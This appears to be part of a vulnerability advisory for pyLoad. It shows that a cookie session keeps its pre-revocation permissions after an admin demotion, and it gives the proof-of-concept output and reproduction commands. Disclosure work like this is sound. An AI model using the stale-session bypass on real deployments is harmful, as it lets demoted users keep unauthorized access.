Details
dispatch -- so a cookie-authenticated admin call needs a valid CSRF token, and an X-API-Key call
does not (helpers.py:361-384 returns before that check is reached). This has no bearing on the
vulnerability itself: Api.set_user_permission's body (core/api/__init__.py:1652-1656) does not
branch on how the caller authenticated, and the is_authorized() gate that runs before it
(api_blueprint.py:50) only checks the ADMIN CALLER's own role, never the target user's session. A
cookie-authenticated admin request (fetching a CSRF token the same way the victim's login step does)
reaches the identical code path and was not separately re-run.
- Full script, README with exact from-nothing run instructions, and the verbatim captured output are in the evidence bundle:
ghsa/poc-bundles/pyload-poc/(zipped copy:ghsa/poc-bundles/pyload-poc.zip).
Output (ran: 2026-09-10)
STEP 1: victim logs in through the real WebUI /login route, keeping the session cookie
==============================================================================
POST /login -> status 302
Set-Cookie: ['pyload_session_8000=Kgq1peWlETCpxj4MSOSY-yxy-v3EYgIjiLxYT7kLgO0; Expires=Sun, 11 Oct 2026 12:30:51 GMT; HttpOnly; Path=/; SameSite=Lax']
victim's cached session contents right after login: role=1 perms=128 authenticated=True
==============================================================================
STEP 2: BASELINE -- victim, using cookie A, calls a SETTINGS-gated GET endpoint (/api/get_userdir, @permission(Perms.SETTINGS)) and it succeeds
==============================================================================
GET /api/get_userdir (victim cookie) -> status 200
body: "/tmp/pyload_poc_userdir_y9fl5y10"
==============================================================================
STEP 3: admin revokes the victim's permissions via pyLoad's own public /api/<func> RPC dispatcher (X-API-Key header, NOT the WebUI 'Manage Users' page, NOT json_blueprint.py's update_users())
==============================================================================
POST /api/set_user_permission (admin API key) -> status 200
body: null
==============================================================================
STEP 4: confirm via a fresh DB read that the victim's permission really is downgraded in the database
==============================================================================
victim DB row after set_user_permission: {'id': 2, 'name': 'victim', 'permission': 0, 'role': 1, 'template': 'default', 'email': ''}
==============================================================================
STEP 5 (the bug): using the victim's ORIGINAL, UNCHANGED cookie A from step 1, repeat the exact same SETTINGS-gated call
==============================================================================
GET /api/get_userdir (SAME victim cookie, post-demotion) -> status 200
body: "/tmp/pyload_poc_userdir_y9fl5y10"
RESULT: call STILL SUCCEEDS after the permission revocation. The stale cookie session retains the pre-revocation SETTINGS bit.
victim's cached session contents after admin's revocation (unchanged since login): role=1 perms=128
==============================================================================
STEP 6 (control): the SAME demoted victim, authenticating via the X-API-Key header instead of the cookie, correctly gets the NEW, reduced permission immediately
==============================================================================
GET /api/get_userdir (victim X-API-Key, post-demotion) -> status 401
body: {"error": "Access denied"}
RESULT: API-key path correctly reflects the demotion immediately (access denied), confirming the bug is cookie-session-specific.
(Log lines from pyLoad's own logger, interleaved with this output in the raw capture, are omitted here
for readability; the full unedited capture, including those log lines, is output.txt in the evidence
bundle.)
This matches the predicted behavior in Sections 4 and 6 exactly: the demoted victim's original cookie
still returns 200 with the pre-revocation permission's data (step 5), while the same demotion is
correctly and immediately visible through X-API-Key auth (step 6, 401). Nothing in the live run
contradicted the source-level analysis; no additional gate blocked the bypass, and no easier bypass
was found.
The run was repeated from a completely freshly built virtualenv (pip install -e ".[test]" into a new
venv, no reuse of any prior install) with identical outcomes -- only the random API key values, the
signed session cookie value, and the temp directory path differ between runs, as expected.
Reproduce from nothing
# starting from a pyload/pyload checkout pinned at 31e341fd41d2dac9fffa3683a756edc54bcdeb77
cd /path/to/pyload-clone-at-31e341f
python3 -m venv /tmp/pyload-poc-venv
/tmp/pyload-poc-venv/bin/pip install -U pip
/tmp/pyload-poc-venv/bin/pip install -e ".[test]"
# optional sanity check against the project's own test suite
/tmp/pyload-poc-venv/bin/python -m pytest tests/integration/test_api.py -q # -> 12 passed
/tmp/pyload-poc-venv/bin/python3 /path/to/ghsa/poc-bundles/pyload-poc/poc_stale_session.py
Impact
The header-present branch of apikey_auth (helpers.py:370) reads role/permission fresh from the database via get_user_by_id
on every request. This bug is specific to the cookie/session-based auth path (helpers.py:393-404).